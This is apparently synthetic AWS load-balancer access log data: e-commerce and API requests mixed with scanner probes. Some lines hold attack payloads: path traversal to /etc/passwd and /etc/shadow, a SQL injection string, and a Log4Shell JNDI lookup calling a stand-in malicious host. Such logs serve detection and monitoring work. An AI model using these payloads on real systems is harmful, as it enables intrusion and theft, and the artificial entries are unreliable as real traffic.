"Root=1-6723c6d1-c6b66a69a7b747dab6108422" "prod-api-alb.example.com" "-" 9 2024-11-01T01:05:05.864752Z "forward" "-" "-" "10.0.190.38:443" "301" "-" "-" -https 2024-11-01T01:05:06.157203Z prod-web-alb 109.209.5.47:35823 10.0.171.71:443 0.067263 0.074134 0.051360 200 200 652 3606 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6d2-0a060afc22014e9ba600c658" "prod-web-alb.example.com" "-" 4 2024-11-01T01:05:06.157203Z "forward" "-" "-" "10.0.171.71:443" "200" "-" "-" -https 2024-11-01T01:05:07.487754Z prod-web-alb 45.155.205.51:49303 10.0.17.166:443 0.045794 0.101634 0.064557 403 403 334 10607 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6d3-5d4d4066494c418ca865e3bf" "-" "-" 4 2024-11-01T01:05:07.487754Z "forward" "-" "-" "10.0.17.166:443" "403" "-" "-" -https 2024-11-01T01:05:08.453567Z prod-web-alb 45.8.84.237:50270 10.0.125.255:443 0.007079 0.191805 0.044461 200 200 645 9298 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6d4-4269566a75104b9881f87ea6" "prod-web-alb.example.com" "-" 3 2024-11-01T01:05:08.453567Z "forward" "-" "-" "10.0.125.255:443" "200" "-" "-" -https 2024-11-01T01:05:09.143665Z staging-alb 177.148.36.81:49146 201.11.154.56:80 0.028079 0.345846 0.073626 200 200 256 5944 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6d5-b7f5e38f91a64f5cb92f9628" "staging-alb.example.com" "-" 5 2024-11-01T01:05:09.143665Z "forward" "-" "-" "201.11.154.56:80" "200" "-" "-" -https 2024-11-01T01:05:09.890180Z prod-api-alb 89.10.105.158:30300 10.0.58.203:443 0.077425 0.151489 0.098657 200 200 440 3569 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6d5-bfb9a7616558426f9aa34dfd" "prod-api-alb.example.com" "-" 7 2024-11-01T01:05:09.890180Z "forward" "-" "-" "10.0.58.203:443" "200" "-" "-" -https 2024-11-01T01:05:10.840718Z prod-api-alb 45.155.205.35:57336 10.0.147.151:443 0.024492 0.076148 0.071549 403 403 438 13301 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6d6-be4a8e45186844a6be0c27a1" "-" "-" 2 2024-11-01T01:05:10.840718Z "forward" "-" "-" "10.0.147.151:443" "403" "-" "-" -https 2024-11-01T01:05:12.683956Z prod-api-alb 22.119.174.228:23493 10.0.187.86:443 0.070990 0.414011 0.060130 404 404 429 12924 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6d8-802b8b5ff46d42f7a36f92af" "prod-api-alb.example.com" "-" 5 2024-11-01T01:05:12.683956Z "forward" "-" "-" "10.0.187.86:443" "404" "-" "-" -https 2024-11-01T01:05:14.490914Z prod-web-alb 193.27.228.29:28816 10.0.195.188:443 0.047744 0.103100 0.042652 200 200 500 13762 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6da-1c79e20500784f048f8ee86c" "-" "-" 3 2024-11-01T01:05:14.490914Z "forward" "-" "-" "10.0.195.188:443" "200" "-" "-" -https 2024-11-01T01:05:14.669581Z prod-web-alb 43.17.166.22:63301 10.0.119.177:443 0.052793 0.449350 0.089410 404 404 616 4212 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6da-43648dc8ce1c409a9ed06ac9" "prod-web-alb.example.com" "-" 0 2024-11-01T01:05:14.669581Z "forward" "-" "-" "10.0.119.177:443" "404" "-" "-" -https 2024-11-01T01:05:15.248491Z prod-web-alb 152.239.192.24:47168 10.0.78.85:443 0.021721 0.395422 0.011492 302 302 794 4651 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6db-f307138f69544880a2604ba7" "prod-web-alb.example.com" "-" 1 2024-11-01T01:05:15.248491Z "forward" "-" "-" "10.0.78.85:443" "302" "-" "-" -https 2024-11-01T01:05:16.362296Z prod-api-alb 128.83.110.14:24625 10.0.34.31:443 0.045774 0.286974 0.081394 302 302 809 13619 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6dc-7bad351be245407e9ff1be26" "prod-api-alb.example.com" "-" 10 2024-11-01T01:05:16.362296Z "forward" "-" "-" "10.0.34.31:443" "302" "-" "-" -https 2024-11-01T01:05:17.318479Z staging-alb 193.27.228.71:45643 203.74.140.63:8080 0.133733 0.498250 0.069852 403 403 423 3207 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6dd-59ad3581526c4131aef993f9" "-" "-" 7 2024-11-01T01:05:17.318479Z "forward" "-" "-" "203.74.140.63:8080" "403" "-" "-" -https 2024-11-01T01:05:17.526527Z prod-web-alb 94.64.241.130:31773 10.0.136.21:443 0.029434 0.066853 0.004243 200 200 694 10203 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6dd-7d732f2f29d24047a967c076" "prod-web-alb.example.com" "-" 5 2024-11-01T01:05:17.526527Z "forward" "-" "-" "10.0.136.21:443" "200" "-" "-" -http 2024-11-01T01:05:19.216716Z staging-alb 132.96.110.131:33000 142.11.216.83:8080 0.106831 0.621439 0.137929 404 404 118 7160 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6df-4437882f9a544dda83a19df2" "staging-alb.example.com" "-" 0 2024-11-01T01:05:19.216716Z "forward" "-" "-" "142.11.216.83:8080" "404" "-" "-" -https 2024-11-01T01:05:20.600994Z staging-alb 250.44.149.218:25350 184.104.27.5:8080 0.124428 0.051698 0.040115 301 301 450 2657 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6e0-3e37ac9609ef45d8abede7b7" "staging-alb.example.com" "-" 3 2024-11-01T01:05:20.600994Z "forward" "-" "-" "184.104.27.5:8080" "301" "-" "-" -https 2024-11-01T01:05:20.743988Z staging-alb 81.184.123.131:63819 40.64.210.57:8080 0.110661 0.714386 0.104942 200 200 966 11990 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6e0-ad2c72a0dd114ca1b1630ed8" "staging-alb.example.com" "-" 0 2024-11-01T01:05:20.743988Z "forward" "-" "-" "40.64.210.57:8080" "200" "-" "-" -https 2024-11-01T01:05:22.102395Z prod-web-alb 135.18.55.115:39275 10.0.91.154:443 0.096585 0.162596 0.026047 200 200 30 9567 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6e2-824b2bc3cc234da1b71ecebe" "prod-web-alb.example.com" "-" 6 2024-11-01T01:05:22.102395Z "forward" "-" "-" "10.0.91.154:443" "200" "-" "-" -https 2024-11-01T01:05:23.864388Z staging-alb 69.187.167.228:45486 112.170.102.190:80 0.149698 0.651712 0.082185 200 200 95 3004 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6e3-0e2d03ccda0d4b9380f87806" "staging-alb.example.com" "-" 6 2024-11-01T01:05:23.864388Z "forward" "-" "-" "112.170.102.190:80" "200" "-" "-" -http 2024-11-01T01:05:25.842783Z staging-alb 211.194.85.90:33574 190.183.124.23:80 0.050282 0.570369 0.108660 301 301 286 8057 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6e5-2adf5eec72ca4e7981d46a43" "staging-alb.example.com" "-" 6 2024-11-01T01:05:25.842783Z "forward" "-" "-" "190.183.124.23:80" "301" "-" "-" -http 2024-11-01T01:05:26.797730Z staging-alb 185.181.160.192:50139 88.176.91.152:443 0.093585 0.737642 0.126147 404 404 398 12135 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6e6-47f74d2055134f49b0831b7e" "-" "-" 3 2024-11-01T01:05:26.797730Z "forward" "-" "-" "88.176.91.152:443" "404" "-" "-" -https 2024-11-01T01:05:27.236489Z prod-api-alb 120.110.146.207:59564 10.0.150.126:443 0.081887 0.125693 0.059390 404 404 804 3694 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6e7-5afc2ea9c5ac458c82302b7b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:05:27.236489Z "forward" "-" "-" "10.0.150.126:443" "404" "-" "-" -https 2024-11-01T01:05:28.400164Z staging-alb 221.180.110.129:52897 175.175.54.38:443 0.111828 0.627920 0.041061 200 200 201 419 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6e8-6b1ac2695bf94a69afc611b2" "staging-alb.example.com" "-" 10 2024-11-01T01:05:28.400164Z "forward" "-" "-" "175.175.54.38:443" "200" "-" "-" -https 2024-11-01T01:05:29.533319Z prod-web-alb 7.133.62.132:34135 10.0.157.178:443 0.032477 0.316551 0.060586 404 404 794 10123 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6e9-8f063500be9746db942ab9ac" "prod-web-alb.example.com" "-" 7 2024-11-01T01:05:29.533319Z "forward" "-" "-" "10.0.157.178:443" "404" "-" "-" -https 2024-11-01T01:05:30.380468Z prod-api-alb 81.191.145.143:23675 10.0.134.113:443 0.093867 0.021822 0.096589 200 200 491 10938 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6ea-d3c5c5b628004783bc507985" "prod-api-alb.example.com" "-" 6 2024-11-01T01:05:30.380468Z "forward" "-" "-" "10.0.134.113:443" "200" "-" "-" -https 2024-11-01T01:05:30.689700Z prod-api-alb 74.34.194.51:37225 10.0.151.192:443 0.095742 0.418127 0.055136 301 301 657 10070 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6ea-6717cd6d28ed412bb984e799" "prod-api-alb.example.com" "-" 3 2024-11-01T01:05:30.689700Z "forward" "-" "-" "10.0.151.192:443" "301" "-" "-" -https 2024-11-01T01:05:31.027825Z prod-web-alb 152.37.233.74:49650 10.0.78.20:443 0.011791 0.447730 0.073578 301 301 999 13926 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6eb-db7a09f0708c4a048e1187f8" "prod-web-alb.example.com" "-" 1 2024-11-01T01:05:31.027825Z "forward" "-" "-" "10.0.78.20:443" "301" "-" "-" -https 2024-11-01T01:05:31.802191Z staging-alb 185.4.220.58:18058 78.183.111.226:80 0.046069 0.117894 0.017725 200 200 879 3728 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6eb-005fa0700d4845af976228d9" "staging-alb.example.com" "-" 1 2024-11-01T01:05:31.802191Z "forward" "-" "-" "78.183.111.226:80" "200" "-" "-" -https 2024-11-01T01:05:32.058293Z prod-web-alb 51.219.14.247:15166 10.0.101.179:443 0.085049 0.178156 0.099689 200 200 475 6078 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6ec-84b3e4215f7048f38f2c08ff" "prod-web-alb.example.com" "-" 4 2024-11-01T01:05:32.058293Z "forward" "-" "-" "10.0.101.179:443" "200" "-" "-" -https 2024-11-01T01:05:32.456900Z prod-web-alb 221.67.202.129:43277 10.0.130.11:443 0.093885 0.012721 0.053426 301 301 994 227 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6ec-2525bc9c0495427dba371607" "prod-web-alb.example.com" "-" 6 2024-11-01T01:05:32.456900Z "forward" "-" "-" "10.0.130.11:443" "301" "-" "-" -https 2024-11-01T01:05:34.052487Z prod-api-alb 46.150.122.243:47440 10.0.247.33:443 0.029590 0.169423 0.049773 301 301 515 1449 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6ee-b7aa264b8ba54808ae884100" "prod-api-alb.example.com" "-" 5 2024-11-01T01:05:34.052487Z "forward" "-" "-" "10.0.247.33:443" "301" "-" "-" -http 2024-11-01T01:05:34.713987Z staging-alb 45.155.205.170:14727 181.191.191.211:8080 0.068229 0.357219 0.063643 404 404 268 9907 "GET /debug/pprof HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6ee-58206f22e2b74d94a0a908df" "-" "-" 9 2024-11-01T01:05:34.713987Z "forward" "-" "-" "181.191.191.211:8080" "404" "-" "-" -https 2024-11-01T01:05:35.798906Z prod-web-alb 146.189.64.244:55663 10.0.211.7:443 0.081743 0.263017 0.043454 200 200 244 10491 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6ef-fa466a287e3c44a798e790ba" "prod-web-alb.example.com" "-" 8 2024-11-01T01:05:35.798906Z "forward" "-" "-" "10.0.211.7:443" "200" "-" "-" -https 2024-11-01T01:05:37.351012Z prod-api-alb 127.103.38.18:57715 10.0.32.106:443 0.023101 0.326671 0.034384 404 404 540 7277 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c6f1-63bb2343813449fa874ac5b0" "prod-api-alb.example.com" "-" 3 2024-11-01T01:05:37.351012Z "forward" "-" "-" "10.0.32.106:443" "404" "-" "-" -https 2024-11-01T01:05:38.549413Z prod-web-alb 61.116.6.110:32070 10.0.153.54:443 0.025788 0.238883 0.079597 200 200 603 14462 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6f2-7eb6de9d01504111a9a504fe" "prod-web-alb.example.com" "-" 3 2024-11-01T01:05:38.549413Z "forward" "-" "-" "10.0.153.54:443" "200" "-" "-" -https 2024-11-01T01:05:39.749214Z staging-alb 84.68.153.177:64306 229.173.216.213:80 0.113404 0.550849 0.117176 200 200 536 10255 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6f3-637c2e985b3c4b8296c9cb75" "staging-alb.example.com" "-" 3 2024-11-01T01:05:39.749214Z "forward" "-" "-" "229.173.216.213:80" "200" "-" "-" -https 2024-11-01T01:05:40.181016Z prod-web-alb 132.125.90.248:41298 10.0.126.215:443 0.091030 0.437645 0.040948 302 302 78 5256 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6f4-c2c4fb9141ef48708302639d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:05:40.181016Z "forward" "-" "-" "10.0.126.215:443" "302" "-" "-" -https 2024-11-01T01:05:40.866779Z prod-web-alb 5.178.230.10:23967 10.0.194.87:443 0.016669 0.330408 0.063244 404 404 862 10413 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6f4-33c78f3899f744ebb9cb9746" "prod-web-alb.example.com" "-" 9 2024-11-01T01:05:40.866779Z "forward" "-" "-" "10.0.194.87:443" "404" "-" "-" -https 2024-11-01T01:05:41.393046Z staging-alb 29.179.152.33:25892 63.197.199.209:8080 0.044065 0.473742 0.016607 200 200 703 12756 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c6f5-c62e42b106a444f6aef3c9a2" "-" "-" 4 2024-11-01T01:05:41.393046Z "forward" "-" "-" "63.197.199.209:8080" "200" "-" "-" -https 2024-11-01T01:05:42.290080Z prod-api-alb 16.81.89.164:48393 10.0.27.94:443 0.041766 0.343893 0.047789 404 404 730 3602 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6f6-0203cdb33caf4824bf95f2fb" "prod-api-alb.example.com" "-" 3 2024-11-01T01:05:42.290080Z "forward" "-" "-" "10.0.27.94:443" "404" "-" "-" -https 2024-11-01T01:05:42.638551Z prod-api-alb 206.158.181.174:11470 10.0.17.222:443 0.073370 0.312478 0.092873 301 301 767 8567 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6f6-b43cdcb4355c487cad9154b0" "prod-api-alb.example.com" "-" 2 2024-11-01T01:05:42.638551Z "forward" "-" "-" "10.0.17.222:443" "301" "-" "-" -https 2024-11-01T01:05:44.369735Z prod-web-alb 98.158.155.237:14934 10.0.239.35:443 0.013332 0.108700 0.098151 302 302 76 14301 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6f8-eb19d960eea44cebbf4ccc7f" "prod-web-alb.example.com" "-" 8 2024-11-01T01:05:44.369735Z "forward" "-" "-" "10.0.239.35:443" "302" "-" "-" -https 2024-11-01T01:05:44.538167Z prod-web-alb 61.187.74.51:48363 10.0.58.215:443 0.074765 0.081116 0.003840 404 404 809 13562 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6f8-ef636fdf44874f4ca8d0e0f0" "prod-web-alb.example.com" "-" 0 2024-11-01T01:05:44.538167Z "forward" "-" "-" "10.0.58.215:443" "404" "-" "-" -https 2024-11-01T01:05:45.578717Z prod-web-alb 140.156.34.90:34505 10.0.202.218:443 0.040263 0.047326 0.067507 200 200 502 1296 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c6f9-19279372b86a43d2a250c8bb" "prod-web-alb.example.com" "-" 3 2024-11-01T01:05:45.578717Z "forward" "-" "-" "10.0.202.218:443" "200" "-" "-" -http 2024-11-01T01:05:46.860021Z staging-alb 180.158.11.214:27888 53.105.123.52:8080 0.148018 0.058384 0.074065 200 200 606 3467 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c6fa-4b222384985d4e6f87e9568b" "staging-alb.example.com" "-" 6 2024-11-01T01:05:46.860021Z "forward" "-" "-" "53.105.123.52:8080" "200" "-" "-" -https 2024-11-01T01:05:47.386984Z prod-web-alb 132.222.159.78:61719 10.0.106.140:443 0.009678 0.463154 0.031173 302 302 497 3739 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c6fb-00c08831ab934b8884a1566e" "prod-web-alb.example.com" "-" 7 2024-11-01T01:05:47.386984Z "forward" "-" "-" "10.0.106.140:443" "302" "-" "-" -https 2024-11-01T01:05:49.310151Z prod-api-alb 64.91.114.179:34028 10.0.12.27:443 0.083444 0.222727 0.078532 200 200 491 7424 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c6fd-c2ad482089c74e23a37bd987" "prod-api-alb.example.com" "-" 8 2024-11-01T01:05:49.310151Z "forward" "-" "-" "10.0.12.27:443" "200" "-" "-" -http 2024-11-01T01:05:51.075100Z staging-alb 173.112.209.210:39917 115.97.9.86:8080 0.073925 0.205349 0.141930 302 302 817 6126 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f 